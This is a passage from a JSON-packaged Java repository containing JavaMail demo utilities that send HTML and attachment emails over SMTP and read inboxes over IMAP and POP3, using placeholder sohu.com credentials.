password\n\t * @param targetAddress   多个邮件发送地址，以,分隔\n\t * @param mimeDTO\n\t * @return\n\t */\n\tpublic  static boolean sendGroupEmail(String userName,String password,String targetAddress,\n\t\t\tMimeMessageDTO mimeDTO){\n\t\treturn publicsendEmail(userName,password,targetAddress,mimeDTO,true,null);\n\t}\n\t/**\n\t * 群发邮件 (附件)\n\t * @param userName\n\t * @param password\n\t * @param targetAddress 多个邮件发送地址，以,分隔\n\t * @param mimeDTO\n\t * @param filepath      文件本地绝对路径\n\t * @return\n\t */\n\tpublic  static boolean sendGroupEmailByFile(String userName,String password,String targetAddress,\n\t\t\tMimeMessageDTO mimeDTO,List<String> filepath){\n\t\treturn publicsendEmail(userName,password,targetAddress,mimeDTO,true,filepath);\n\t}\n\t\n\t\n\t\n\t/**\n\t * 邮件发送基础方法\n\t * @param userName\n\t * @param password\n\t * @param targetAddress\n\t * @param mimeDTO\n\t * @param isGroup\n\t * @param filepath\n\t * @return\n\t */\n\tprivate static boolean publicsendEmail(String userName,String password,String targetAddress,\n\t\t\tMimeMessageDTO mimeDTO,boolean isGroup,List<String> filepath){\n\t\tProperties props = makeMailProperties(userName);\n\t\tString hostname=SMTPUtil.SimpleMailSender(userName);\n\t\tSession session = Session.getInstance(props, new PopupAuthenticator(userName, password));\n\t\tsession.setDebug(true);\n\t\ttry {\n\t\t\tTransport ts = session.getTransport();\n\t\t\tts.connect(hostname,userName,password);\n\t\t\tMessage message =!isGroup?createEmail(session,userName,targetAddress,mimeDTO)\n\t\t\t\t\t:createEmailByGroupAndFile(session,userName,\n\t\t\t\t\t\t\ttargetAddress,mimeDTO,filepath==null?null:filepath);\n\t\t\tts.sendMessage(message,message.getAllRecipients());\n\t\t\tts.close();\n\t\t} catch (Exception mex) {\n\t\t\tmex.printStackTrace();\n\t\t\treturn false;\n\t\t}\n\t\treturn true;\n\t}\n\t\n\t\n\t\n\t\n\t\n\t/**\n\t * 创建邮件信息\n\t * @param userName\n\t * @return\n\t */\n\tprivate static Properties makeMailProperties(String userName){\n\t\tProperties props = new Properties();\n\t\tString hostname=SMTPUtil.SimpleMailSender(userName);\n\t\tprops.put(\"mail.smtp.host\", hostname);\n\t\tprops.setProperty(\"mail.smtp.auth\", \"true\");\n\t\tprops.setProperty(\"mail.transport.protocol\", \"smtp\");\n\t\tif(hostname.indexOf(\".qq.com\")!=-1){\n\t\t\tprops.setProperty(\"mail.smtp.socketFactory.port\", \"465\");\n\t\t\tprops.setProperty(\"mail.smtp.socketFactory.class\", \"javax.net.ssl.SSLSocketFactory\");\n\t\t}\n\t\treturn props;\n\t}\n\t\n\t\n\t\n\t/**\n\t * 创建邮件\n\t * @author Wujun\n\t * Create_time:2015年10月17日 下午7:45:57\n\t * description:\n\t */\n\tprivate static Message createEmail(Session session,String userName,String regMail,MimeMessageDTO mimeDTO){\n\t\tMimeMessage message = new MimeMessage(session);\n\t\ttry {\n\t\t\tmessage.setFrom(new InternetAddress(userName));\n\t\t\tmessage.setRecipient(Message.RecipientType.TO, new InternetAddress(regMail));\n\t\t\tmessage.setSubject(mimeDTO.getSubject());\n\t\t\tmessage.setContent(mimeDTO.getText(),\"text/html;charset=UTF-8\");\n\t\t\tmessage.saveChanges();\n\t\t} catch (MessagingException e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t\treturn message;\n\t}\n\t/**\n\t * 创建群发带附件\n\t * @return\n\t */\n\tprivate static Message createEmailByGroupAndFile(Session session,String userName,\n\t\t\t\t\t\t\t\tString regMail,MimeMessageDTO mimeDTO,List<String> filepath){\n\t\tMimeMessage message = new MimeMessage(session);\n\t\ttry {\n\t\t\tmessage.setFrom(new InternetAddress(userName));\n\t\t\t  // 创建收件人列表  \n\t        if (regMail != null && regMail.trim().length() > 0) {  \n\t            String[] arr = regMail.split(\",\");  \n\t            int receiverCount = arr.length; \n\t            if (receiverCount > 0) {\n\t            \tInternetAddress[] address = new InternetAddress[receiverCount];  \n\t                for (int i = 0; i < receiverCount; i++) {  \n\t                    address[i] = new InternetAddress(arr[i]);  \n\t                }  \n\t                message.setRecipients(Message.RecipientType.TO, address);\n\t            }\n\t        }\n\t     // 后面的BodyPart将加入到此处创建的Multipart中  \n            Multipart mp = new MimeMultipart();  \n\t     // 附件操作  \n            if (filepath != null && filepath.size() > 0) {  \n                for (String filename : filepath) {  \n                    MimeBodyPart mbp = new MimeBodyPart();  \n                    // 得到数据源  \n                    FileDataSource fds = new FileDataSource(filename);  \n                    // 得到附件本身并至入BodyPart  \n                    mbp.setDataHandler(new DataHandler(fds));  \n                    // 得到文件名同样至入BodyPart  \n                    mbp.setFileName(fds.getName());  \n                    mp.addBodyPart(mbp);  \n                }  \n                MimeBodyPart mbp = new MimeBodyPart();  \n                mbp.setText(mimeDTO.getText());  \n                mp.addBodyPart(mbp);  \n                // 移走集合中的所有元素  \n                filepath.clear();  \n                // Multipart加入到信件  \n                message.setContent(mp);  \n            } else {  \n                // 设置邮件正文  \n//            \tmessage.setText(mimeDTO.getText());  \n            \tmessage.setContent(mimeDTO.getText(),\"text/html;charset=UTF-8\");\n            } \n\t\t\tmessage.setSubject(mimeDTO.getSubject());\n\t\t\tmessage.saveChanges();\n\t\t} catch (MessagingException e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t\treturn message;\n\t}\n\t\n\t\n\t\n\tpublic String getUserName() {\n\t\treturn userName;\n\t}\n\tpublic void setUserName(String userName) {\n\t\tthis.userName = userName;\n\t}\n\tpublic String getPassword() {\n\t\treturn password;\n\t}\n\tpublic void setPassword(String password) {\n\t\tthis.password = password;\n\t}\n\tpublic String getSmtpHost() {\n\t\treturn smtpHost;\n\t}\n\tpublic void setSmtpHost(String smtpHost) {\n\t\tthis.smtpHost = smtpHost;\n\t}\n\tpublic String getTargetAddress() {\n\t\treturn targetAddress;\n\t}\n\tpublic void setTargetAddress(String targetAddress) {\n\t\tthis.targetAddress = targetAddress;\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_email/src/main/java/com/jun/plugin/plugin/email/demo/util/PopupAuthenticator.java",
    "content": "package com.jun.plugin.plugin.email.demo.util;\n\nimport javax.mail.Authenticator;\nimport javax.mail.PasswordAuthentication;\n\n/**\n * 类名称:  PopupAuthenticator\n * 功能描述: TODO\n * 创建人:  GavinNie 邮件 账号 密码\n * 创建时间: 2014-12-4 上午11:07:10 \n * @version  V1.0  \n */\npublic class PopupAuthenticator extends Authenticator {\n\tprivate String username = null;\n\tprivate String password = null;\n\n\tpublic PopupAuthenticator(String user, String pass) {\n\t\tthis.username = user;\n\t\tthis.password = pass;\n\t}\n\tprotected PasswordAuthentication getPasswordAuthentication() {\n\t\treturn new PasswordAuthentication(username, password);\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_email/src/main/java/com/jun/plugin/plugin/email/demo/util/SMTPUtil.java",
    "content": "package com.jun.plugin.plugin.email.demo.util;\n\nimport java.io.IOException;\nimport java.io.InputStream;\nimport java.util.Properties;\n\n/**\n * 类名称:  SMTPUtil\n * 功能描述: TODO 得到smtp\n * 创建人:  GavinNie \n * 创建时间: 2014-12-4 上午10:36:00 \n * @version  V1.0  \n */\npublic class SMTPUtil {\n\t/** \n\t * 方法名: SimpleMailSender \n\t * 功能描述: TODO 简单的smtp生成，大部分是有用的，建议自己建立smtp库....\n\t * @param: @param userName\n\t * @param: @return  \n\t * @return: String \n\t */\n\tpublic static String SimpleMailSender(String userName) {\n\t\treturn  \"smtp.\" + getHost(userName);\n\t}\n\n\t\n\t/**   \n\t* @Title: getSMTPAddress    \n\t* @Description: TODO (这里用一句话描述这个方法的作用)    \n\t* @param @param userName\n\t* @param @return    设定文件    \n\t* @return String    返回类型    \n\t* @throws    \n\t*/\n\tpublic static String getSMTPAddress(String userName){\n\t\tString smtpAddress = null;\n\t\tProperties props = new Properties();\n\t\ttry {\n\t\t\tInputStream in = SMTPUtil.class.getResourceAsStream(\"/smtp.properties\");\n\t\t\tprops.load(in);\n\t\t\t//读取properties的内容\n\t\t\tsmtpAddress = props.getProperty(getHost(userName).trim());\n\t\t\t//没有获取到\n\t\t\tif(smtpAddress == null){\n\t\t\t\t//生成简单得\n\t\t\t\tsmtpAddress = SimpleMailSender(userName);\n\t\t\t}\n\t\t} catch (IOException e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t\treturn smtpAddress;\n\t}\n\t\n\t\n\t/**   \n\t* @Title: getHost    \n\t* @Description: TODO 得到 邮箱@后面得字符    \n\t* @param @param userName\n\t* @param @return    设定文件    \n\t* @return String    返回类型    \n\t* @throws    \n\t*/\n\tpublic static String getHost(String userName){\n\t\treturn userName.split(\"@\")[1];\n\t}\n\t\n//\tpublic static void main(String[] args) {\n//\t\tString s = getSMTPAddress(\"nie_zw@qq.com\");\n//\t\tSystem.out.println(s);\n//\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_email/src/main/java/com/jun/plugin/plugin/email/java_mail/JavaMail.java",
    "content": "package com.jun.plugin.plugin.email.java_mail;\n\nimport java.io.IOException;\nimport java.io.InputStream;\nimport java.util.Properties;\nimport javax.mail.Message;\nimport javax.mail.MessagingException;\nimport javax.mail.Session;\nimport javax.mail.Transport;\nimport javax.mail.internet.InternetAddress;\nimport javax.mail.internet.MimeMessage;\nimport javax.mail.internet.MimeUtility;\n\npublic class JavaMail {\n\t/**\n\t * * Message对象将存储我们实际发送的电子邮件信息， *\n\t * Message对象被作为一个MimeMessage对象来创建并且需要知道应当选择哪一个JavaMail session。\n\t */\n\tprivate MimeMessage message;\n\t/**\n\t * * Session类代表JavaMail中的一个邮件会话。 *\n\t * 每一个基于JavaMail的应用程序至少有一个Session（可以有任意多的Session）。 * *\n\t * JavaMail需要Properties来创建一个session对象。 * 寻找\"mail.smtp.host\" 属性值就是发送邮件的主机 *\n\t * 寻找\"mail.smtp.auth\" 身份验证，目前免费邮件服务器都需要这一项\n\t */\n\tprivate Session session;\n\t/***\n\t * * 邮件是既可以被发送也可以被受到。JavaMail使用了两个不同的类来完成这两个功能：Transport 和 Store。 *\n\t * Transport 是用来发送信息的，而Store用来收信。对于这的教程我们只需要用到Transport对象。\n\t */\n\tprivate Transport transport;\n\tprivate String mailHost = \"\";\n\tprivate String sender_username = \"\";\n\tprivate String sender_password = \"\";\n\tprivate Properties properties = new Properties();\n\n\t/* * 初始化方法 */\n\tpublic JavaMail(boolean debug) {\n\t\tInputStream in = JavaMail.class.getResourceAsStream(\"MailServer.properties\");\n\t\ttry {\n\t\t\tproperties.load(in);\n\t\t\tthis.mailHost = properties.getProperty(\"mail.smtp.host\");\n\t\t\tthis.sender_username = properties.getProperty(\"mail.sender.username\");\n\t\t\tthis.sender_password = properties.getProperty(\"mail.sender.password\");\n\t\t} catch (IOException e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t\tsession = Session.getInstance(properties);\n\t\tsession.setDebug(debug);\n\t\t// 开启后有调试信息 message = new MimeMessage(session);\n\t}\n\n\t/**\n\t * * 发送邮件 * * @param subject * 邮件主题 * @param sendHtml * 邮件内容 * @param\n\t * receiveUser * 收件人地址\n\t */\n\tpublic void doSendHtmlEmail(String subject, String sendHtml, String receiveUser) {\n\t\ttry {\n\t\t\t// 发件人 //\n\t\t\t// InternetAddress from = new InternetAddress(sender_username);\n\t\t\t// 下面这个是设置发送人的Nick name\n\t\t\tInternetAddress from = new InternetAddress(MimeUtility.encodeWord(\"幻影\") + \" < sender_username>\");\n\t\t\tmessage.setFrom(from);\n\t\t\t// 收件人\n\t\t\tInternetAddress to = new InternetAddress(receiveUser);\n\t\t\tmessage.setRecipient(Message.RecipientType.TO, to);// 还可以有CC、BCC //\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t// 邮件主题\n\t\t\tmessage.setSubject(subject);\n\t\t\tString content = sendHtml.toString();\n\t\t\t// 邮件内容,也可以使纯文本\"text/plain\"\n\t\t\tmessage.setContent(content, \"text/html;charset=UTF-8\");\n\t\t\t// 保存邮件\n\t\t\tmessage.saveChanges();\n\t\t\ttransport = session.getTransport(\"smtp\"); // smtp验证，就是你用来发邮件的邮箱用户名密码\n\t\t\ttransport.connect(mailHost, sender_username, sender_password); // 发送\n\t\t\ttransport.sendMessage(message, message.getAllRecipients()); //\n\t\t\tSystem.out.println(\"send success!\");\n\t\t} catch (Exception e) {\n\t\t\te.printStackTrace();\n\t\t} finally {\n\t\t\tif (transport != null) {\n\t\t\t\ttry {\n\t\t\t\t\ttransport.close();\n\t\t\t\t} catch (MessagingException e) {\n\t\t\t\t\te.printStackTrace();\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\tpublic static void main(String[] args) {\n\t\tJavaMail se = new JavaMail(false);\n\t\tse.doSendHtmlEmail(\"邮件主题\", \"邮件内容\", \"xxx@XX.com\");\n\t}\n}"
  },
  {
    "path": "jun_java_plugins/jun_email/src/main/java/com/jun/plugin/plugin/email/java_mail/JavaMailWithAttachment.java",
    "content": "package com.jun.plugin.plugin.email.java_mail;\n\nimport java.io.File;\nimport java.io.IOException;\nimport java.io.InputStream;\nimport java.util.Base64;\nimport java.util.Properties;\nimport javax.activation.DataHandler;\nimport javax.activation.DataSource;\nimport javax.activation.FileDataSource;\nimport javax.mail.BodyPart;\nimport javax.mail.Message;\nimport javax.mail.MessagingException;\nimport javax.mail.Multipart;\nimport javax.mail.Session;\nimport javax.mail.Transport;\nimport javax.mail.internet.InternetAddress;\nimport javax.mail.internet.MimeBodyPart;\nimport javax.mail.internet.MimeMessage;\nimport javax.mail.internet.MimeMultipart;\nimport javax.mail.internet.MimeUtility;\n\npublic class JavaMailWithAttachment {\n\tprivate MimeMessage message;\n\tprivate Session session;\n\tprivate Transport transport;\n\tprivate String mailHost = \"\";\n\tprivate String sender_username = \"\";\n\tprivate String sender_password = \"\";\n\tprivate Properties properties = new Properties();\n\n\t/* * 初始化方法 */public JavaMailWithAttachment(boolean debug) {\n\t\tInputStream in = JavaMailWithAttachment.class.getResourceAsStream(\"MailServer.properties\");\n\t\ttry {\n\t\t\tproperties.load(in);\n\t\t\tthis.mailHost = properties.getProperty(\"mail.smtp.host\");\n\t\t\tthis.sender_username = properties.getProperty(\"mail.sender.username\");\n\t\t\tthis.sender_password = properties.getProperty(\"mail.sender.password\");\n\t\t} catch (IOException e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t\tsession = Session.getInstance(properties);\n\t\tsession.setDebug(debug);//\n\t\t// 开启后有调试信息 C\n\t\tmessage = new MimeMessage(session);\n\t}\n\n\t/**\n\t * * 发送邮件 * * @param subject * 邮件主题 * @param sendHtml * 邮件内容 * @param\n\t * receiveUser * 收件人地址 * @param attachment * 附件\n\t */\n\tpublic void doSendHtmlEmail(String subject, String sendHtml, String receiveUser, File attachment) {\n\t\ttry { //\n\t\t\t// 发件人\n\t\t\tInternetAddress from = new InternetAddress(sender_username);\n\t\t\tmessage.setFrom(from); //\n\t\t\t// 收件人\n\t\t\tInternetAddress to = new InternetAddress(receiveUser);\n\t\t\tmessage.setRecipient(Message.RecipientType.TO, to); //\n\t\t\t// 邮件主题\n\t\t\tmessage.setSubject(subject); //\n\t\t\t// 向multipart对象中添加邮件的各个部分内容，包括文本内容和附件\n\t\t\tMultipart multipart = new MimeMultipart(); //\n\t\t\t// 添加邮件正文\n\t\t\tBodyPart contentPart = new MimeBodyPart();\n\t\t\tcontentPart.setContent(sendHtml, \"text/html;charset=UTF-8\");\n\t\t\tmultipart.addBodyPart(contentPart); //\n\t\t\t// 添加附件的内容\n\t\t\tif (attachment != null) {\n\t\t\t\tBodyPart attachmentBodyPart = new MimeBodyPart();\n\t\t\t\tDataSource source = new FileDataSource(attachment);\n\t\t\t\tattachmentBodyPart.setDataHandler(new DataHandler(source)); //\n\t\t\t\t// 网上流传的解决文件名乱码的方法，其实用MimeUtility.encodeWord就可以很方便的搞定 //\n\t\t\t\t// 这里很重要，通过下面的Base64编码的转换可以保证你的中文附件标题名在发送时不会变成乱码 //\n\t\t\t\t// 使用Java标准库的Base64编码器替代已废弃的sun.misc.BASE64Encoder\n//\t\t\t\tmessageBodyPart.setFileName(\"=?GBK?B?\" + Base64.getEncoder().encodeToString(attachment.getName().getBytes()) + \"?=\"); //\n\t\t\t\tmessage.setFileName(\"=?GBK?B?\" + Base64.getEncoder().encodeToString(attachment.getName().getBytes()) + \"?=\"); //\n\t\t\t\t// MimeUtility.encodeWord可以避免文件名乱码\n\t\t\t\tattachmentBodyPart.setFileName(MimeUtility.encodeWord(attachment.getName()));\n\t\t\t\tmultipart.addBodyPart(attachmentBodyPart);\n\t\t\t} //\n\t\t\t// 将multipart对象放到message中\n\t\t\tmessage.setContent(multipart); //\n\t\t\t// 保存邮件\n\t\t\tmessage.saveChanges();\n\t\t\ttransport = session.getTransport(\"smtp\"); //\n\t\t\t// smtp验证，就是你用来发邮件的邮箱用户名密码\n\t\t\ttransport.connect(mailHost, sender_username, sender_password); //\n\t\t\t// 发送\n\t\t\ttransport.sendMessage(message, message.getAllRecipients());\n\t\t\tSystem.out.println(\"send success!\");\n\t\t} catch (Exception e) {\n\t\t\te.printStackTrace();\n\t\t} finally {\n\t\t\tif (transport != null) {\n\t\t\t\ttry {\n\t\t\t\t\ttransport.close();\n\t\t\t\t} catch (MessagingException e) {\n\t\t\t\t\te.printStackTrace();\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\tpublic static void main(String[] args) {\n\t\tJavaMailWithAttachment se = new JavaMailWithAttachment(true);\n\t\tFile affix = new File(\"c:\\\\测试-test.txt\");\n\t\tse.doSendHtmlEmail(\"邮件主题\", \"邮件内容\", \"xxx@XXX.com\", affix);//\n\t}\n}"
  },
  {
    "path": "jun_java_plugins/jun_email/src/main/java/com/jun/plugin/plugin/email/java_mail/mail_imap.java",
    "content": "package com.jun.plugin.plugin.email.java_mail;\n\nimport java.util.Properties;\n\nimport javax.mail.Flags;\nimport javax.mail.Folder;\nimport javax.mail.Message;\nimport javax.mail.Session;\n\nimport com.sun.mail.imap.IMAPFolder;\nimport com.sun.mail.imap.IMAPStore;\n\npublic class mail_imap {\n\t/**\n\t * 使用imap协议获取未读邮件数\n\t * \n\t * @author Wujun\n\t * \n\t */\n\tpublic static void main(String[] args) throws Exception {\n\t\tString user = \"username@sohu.com\";// 邮箱的用户名\n\t\tString password = \"password\"; // 邮箱的密码\n\t\tProperties prop = System.getProperties();\n\t\tprop.put(\"mail.store.protocol\", \"imap\");\n\t\tprop.put(\"mail.imap.host\", \"imap.sohu.com\");\n\t\tSession session = Session.getInstance(prop);\n\t\tint total = 0;\n\t\tIMAPStore store = (IMAPStore) session.getStore(\"imap\"); // 使用imap会话机制，连接服务器\n\t\tstore.connect(user, password);\n\t\tIMAPFolder folder = (IMAPFolder) store.getFolder(\"INBOX\"); // 收件箱\n\t\tfolder.open(Folder.READ_WRITE);\n\t\t// 获取总邮件数\n\t\ttotal = folder.getMessageCount();\n\t\tSystem.out.println(\"-----------------共有邮件：\" + total + \" 封--------------\");\n\t\t// 得到收件箱文件夹信息，获取邮件列表\n\t\tSystem.out.println(\"未读邮件数：\" + folder.getUnreadMessageCount());\n\t\tMessage[] messages = folder.getMessages();\n\t\tint messageNumber = 0;\n\t\tfor (Message message : messages) {\n\t\t\tSystem.out.println(\"发送时间：\" + message.getSentDate());\n\t\t\tSystem.out.println(\"主题：\" + message.getSubject());\n\t\t\tSystem.out.println(\"内容：\" + message.getContent());\n\t\t\tFlags flags = message.getFlags();\n\t\t\tif (flags.contains(Flags.Flag.SEEN))\n\t\t\t\tSystem.out.println(\"这是一封已读邮件\");\n\t\t\telse {\n\t\t\t\tSystem.out.println(\"未读邮件\");\n\t\t\t}\n\t\t\tSystem.out.println(\"========================================================\");\n\t\t\tSystem.out.println(\"========================================================\");\n\t\t\t// 每封邮件都有一个MessageNumber，可以通过邮件的MessageNumber在收件箱里面取得该邮件\n\t\t\tmessageNumber = message.getMessageNumber();\n\t\t}\n\t\tMessage message = folder.getMessage(messageNumber);\n\t\tSystem.out.println(message.getContent() + message.getContentType());\n\t\t// 释放资源\n\t\tif (folder != null)\n\t\t\tfolder.close(true);\n\t\tif (store != null)\n\t\t\tstore.close();\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_email/src/main/java/com/jun/plugin/plugin/email/java_mail/mail_pop3.java",
    "content": "package com.jun.plugin.plugin.email.java_mail;\n\nimport java.io.FileOutputStream;\nimport java.io.IOException;\nimport java.io.InputStream;\nimport java.io.OutputStream;\nimport java.util.Enumeration;\nimport java.util.Properties;\n\nimport javax.mail.BodyPart;\nimport javax.mail.Folder;\nimport javax.mail.Message;\nimport javax.mail.MessagingException;\nimport javax.mail.Multipart;\nimport javax.mail.Session;\nimport javax.mail.Store;\nimport javax.mail.internet.MimeMultipart;\n\npublic class mail_pop3 {\n\n\tpublic static void main(String args[]) throws MessagingException, IOException {\n\t\tProperties props = new Properties();\n\t\tprops.setProperty(\"mail.store.protocol\", \"pop3\");\n\t\tprops.setProperty(\"mail.pop3.host\", \"pop3.sohu.com\");\n\t\tSession session = Session.getDefaultInstance(props);\n\t\tStore store = session.getStore(\"pop3\");\n\t\tstore.connect(\"username@sohu.com\", \"password\");\n\t\tFolder folder = store.getFolder(\"INBOX\");\n\t\tfolder.open(Folder.READ_WRITE);\n\t\t// 全部邮件数\n\t\tint messageCount = folder.getMessageCount();\n\t\tSystem.out.println(messageCount);\n\t\tMessage[] messages = folder.getMessages();\n\t\tfor (int i = 0; i < messages.length; i++) {\n\t\t\tMessage message = messages[i];\n\t\t\tSystem.out.println(message.getSubject());\n\t\t\t// 删除邮件\n\t\t\t// message.setFlag(Flags.Flag.DELETED, true);\n\t\t\t// 标记为已读\n\t\t\t// message.setFlag(Flags.Flag.SEEN, true);\n\t\t\t// pop3没有判断邮件是否为已读的功能，要使用Imap才可以\n\t\t\t/*\n\t\t\t * Flags flags = message.getFlags(); if\n\t\t\t * (flags.contains(Flags.Flag.SEEN)) System.out.println(\"这是一封已读邮件\");\n\t\t\t * else { System.out.println(\"未读邮件\");\n\t\t\t * message.setFlag(Flags.Flag.SEEN, true); }\n\t\t\t */\n\t\t\tSystem.out.println(\"发送时间：\" + message.getSentDate());\n\t\t\tSystem.out.println(\"主题：\" + message.getSubject());\n\t\t\tSystem.out.println(\"内容：\" + message.getContent());\n\t\t\t// 获取所有的Header，头信息\n\t\t\tEnumeration headers = message.getAllHeaders();\n\t\t\tSystem.out.println(\"----------------------allHeaders-----------------------------\");\n\t\t\t/*\n\t\t\t * while (headers.hasMoreElements()) { Header header =\n\t\t\t * (Header)headers.nextElement();\n\t\t\t * System.out.println(header.getName()+\" ======= \"+header.getValue()\n\t\t\t * ); }\n\t\t\t */\n\t\t\t// 解析邮件内容\n\t\t\tObject content = message.getContent();\n\t\t\tif (content instanceof MimeMultipart) {\n\t\t\t\tMimeMultipart multipart = (MimeMultipart) content;\n\t\t\t\tparseMultipart(multipart);\n\t\t\t}\n\t\t\tSystem.out.println(\"========================================================\");\n\t\t\tSystem.out.println(\"========================================================\");\n\t\t}\n\t\tfolder.close(true);\n\t\tstore.close();\n\t}\n\n\t/**\n\t * 对复杂邮件的解析\n\t * \n\t * @param multipart\n\t * @throws MessagingException\n\t * @throws IOException\n\t */\n\tpublic static void parseMultipart(Multipart multipart) throws MessagingException, IOException {\n\t\tint count = multipart.getCount();\n\t\tSystem.out.println(\"couont =  \" + count);\n\t\tfor (int idx = 0; idx < count; idx++) {\n\t\t\tBodyPart bodyPart = multipart.getBodyPart(idx);\n\t\t\tSystem.out.println(bodyPart.getContentType());\n\t\t\tif (bodyPart.isMimeType(\"text/plain\")) {\n\t\t\t\tSystem.out.println(\"plain.................\" + bodyPart.getContent());\n\t\t\t} else if (bodyPart.isMimeType(\"text/html\")) {\n\t\t\t\tSystem.out.println(\"html...................\" + bodyPart.getContent());\n\t\t\t} else if (bodyPart.isMimeType(\"multipart/*\")) {\n\t\t\t\tMultipart mpart = (Multipart) bodyPart.getContent();\n\t\t\t\tparseMultipart(mpart);\n\t\t\t} else if (bodyPart.isMimeType(\"application/octet-stream\")) {\n\t\t\t\tString disposition = bodyPart.getDisposition();\n\t\t\t\tSystem.out.println(disposition);\n\t\t\t\tif (disposition.equalsIgnoreCase(BodyPart.ATTACHMENT)) {\n\t\t\t\t\tString fileName = bodyPart.getFileName();\n\t\t\t\t\tInputStream is = bodyPart.getInputStream();\n\t\t\t\t\tcopy(is, new FileOutputStream(\"D:\\\\\" + fileName));\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\t/**\n\t * 文件拷贝，在用户进行附件下载的时候，可以把附件的InputStream传给用户进行下载\n\t * \n\t * @param is\n\t * @param os\n\t * @throws IOException\n\t */\n\tpublic static void copy(InputStream is, OutputStream os) throws IOException {\n\t\tbyte[] bytes = new byte[1024];\n\t\tint len = 0;\n\t\twhile ((len = is.read(bytes)) != -1) {\n\t\t\tos.write(bytes, 0, len);\n\t\t}\n\t\tif (os != null)\n\t\t\tos.close();\n\t\tif (is != null)\n\t\t\tis.close();\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_email/src/main/java/com/jun/plugin/plugin/email/java_mail/sendMail.java",
    "content": "package com.jun.plugin.plugin.email.java_mail;\n\nimport java.io.FileOutputStream;\nimport java.io.IOException;\nimport java.io.InputStream;\nimport java.io.OutputStream;\nimport java.util.Enumeration;\nimport java.util.Properties;\nimport javax.mail.BodyPart;\nimport javax.mail.Folder;\nimport javax.mail.Message;\nimport javax.mail.MessagingException;\nimport javax.mail.Multipart;\nimport javax.mail.Session;\nimport javax.mail.Store;\nimport javax.mail.internet.MimeMultipart;\n\npublic class sendMail {\n\tpublic static void main(String args[]) throws MessagingException, IOException {\n\t\tProperties props = new Properties();\n\t\tprops.setProperty(\"mail.store.protocol\", \"pop3\");\n\t\tprops.setProperty(\"mail.pop3.host\", \"pop3.sohu.com\");\n\t\tSession session = Session.getDefaultInstance(props);\n\t\tStore store = session.getStore(\"pop3\");\n\t\tstore.connect(\"username@sohu.com\", \"password\");\n\t\tFolder folder = store.getFolder(\"INBOX\");\n\t\tfolder.open(Folder.READ_WRITE);\n\t\t// 全部邮件数\n\t\tint messageCount = folder.getMessageCount();\n\t\tSystem.out.println(messageCount);\n\t\tMessage[] messages = folder.getMessages();\n\t\tfor (int i = 0; i < messages.length; i++) {\n\t\t\tMessage message = messages[i];\n\t\t\tSystem.out.println(message.getSubject());\n\t\t\t// 删除邮件\n\t\t\t// message.setFlag(Flags.Flag.DELETED, true);\n\t\t\t// 标记为已读\n\t\t\t// message.setFlag(Flags.Flag.SEEN, true);\n\t\t\t// pop3没有判断邮件是否为已读的功能，要使用Imap才可以\n\t\t\t/*\n\t\t\t * Flags flags = message.getFlags(); if\n\t\t\t * (flags.contains(Flags.Flag.SEEN)) System.out.println(\"这是一封已读邮件\");\n\t\t\t * else { System.out.println(\"未读邮件\");\n\t\t\t * message.setFlag(Flags.Flag.SEEN, true); }\n\t\t\t */\n\t\t\tSystem.out.println(\"发送时间：\" + message.getSentDate());\n\t\t\tSystem.out.println(\"主题：\" + message.getSubject());\n\t\t\tSystem.out.println(\"内容：\" + message.getContent());\n\t\t\t// 获取所有的Header，头信息\n\t\t\tEnumeration headers = message.getAllHeaders();\n\t\t\tSystem.out.println(\"----------------------allHeaders-----------------------------\");\n\t\t\t/*\n\t\t\t * while (headers.hasMoreElements()) { Header header =\n\t\t\t * (Header)headers.nextElement();\n\t\t\t * System.out.println(header.getName()+\" ======= \"+header.getValue()\n\t\t\t * ); }\n\t\t\t */\n\t\t\t// 解析邮件内容\n\t\t\tObject content = message.getContent();\n\t\t\tif (content instanceof MimeMultipart) {\n\t\t\t\tMimeMultipart multipart = (MimeMultipart) content;\n\t\t\t\tparseMultipart(multipart);\n\t\t\t}\n\t\t\tSystem.out.println(\"========================================================\");\n\t\t\tSystem.out.println(\"========================================================\");\n\t\t}\n\t\tfolder.close(true);\n\t\tstore.close();\n\t}\n\n\t/**\n\t * 对复杂邮件的解析\n\t * \n\t * @param multipart\n\t * @throws MessagingException\n\t * @throws IOException\n\t */\n\tpublic static void parseMultipart(Multipart multipart) throws MessagingException, IOException {\n\t\tint count = multipart.getCount();\n\t\tSystem.out.println(\"couont =  \" + count);\n\t\tfor (int idx = 0; idx < count; idx++) {\n\t\t\tBodyPart bodyPart = multipart.getBodyPart(idx);\n\t\t\tSystem.out.println(bodyPart.getContentType());\n\t\t\tif (bodyPart.isMimeType(\"text/plain\")) {\n\t\t\t\tSystem.out.println(\"plain.................\" + bodyPart.getContent());\n\t\t\t} else if (bodyPart.isMimeType(\"text/html\")) {\n\t\t\t\tSystem.out.println(\"html...................\" + bodyPart.getContent());\n\t\t\t} else if (bodyPart.isMimeType(\"multipart/*\")) {\n\t\t\t\tMultipart mpart = (Multipart) bodyPart.getContent();\n\t\t\t\tparseMultipart(mpart);\n\t\t\t} else if (bodyPart.isMimeType(\"application/octet-stream\")) {\n\t\t\t\tString disposition = bodyPart.getDisposition();\n\t\t\t\tSystem.out.println(disposition);\n\t\t\t\tif (disposition.equalsIgnoreCase(BodyPart.ATTACHMENT)) {\n\t\t\t\t\tString fileName = bodyPart.getFileName();\n\t\t\t\t\tInputStream is = bodyPart.getInputStream();\n\t\t\t\t\tcopy(is, new FileOutputStream(\"D:\\\\\" + fileName));\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\t/**\n\t * 文件拷贝，在用户进行附件下载的时候，可以把附件的InputStream传给用户进行下载\n\t * \n\t * @param is\n\t * @param os\n\t * @throws IOException\n\t */\n\tpublic static void copy(InputStream is, OutputStream os) throws IOException {\n\t\tbyte[] bytes = new byte[1024];\n\t\tint len = 0;\n\t\twhile 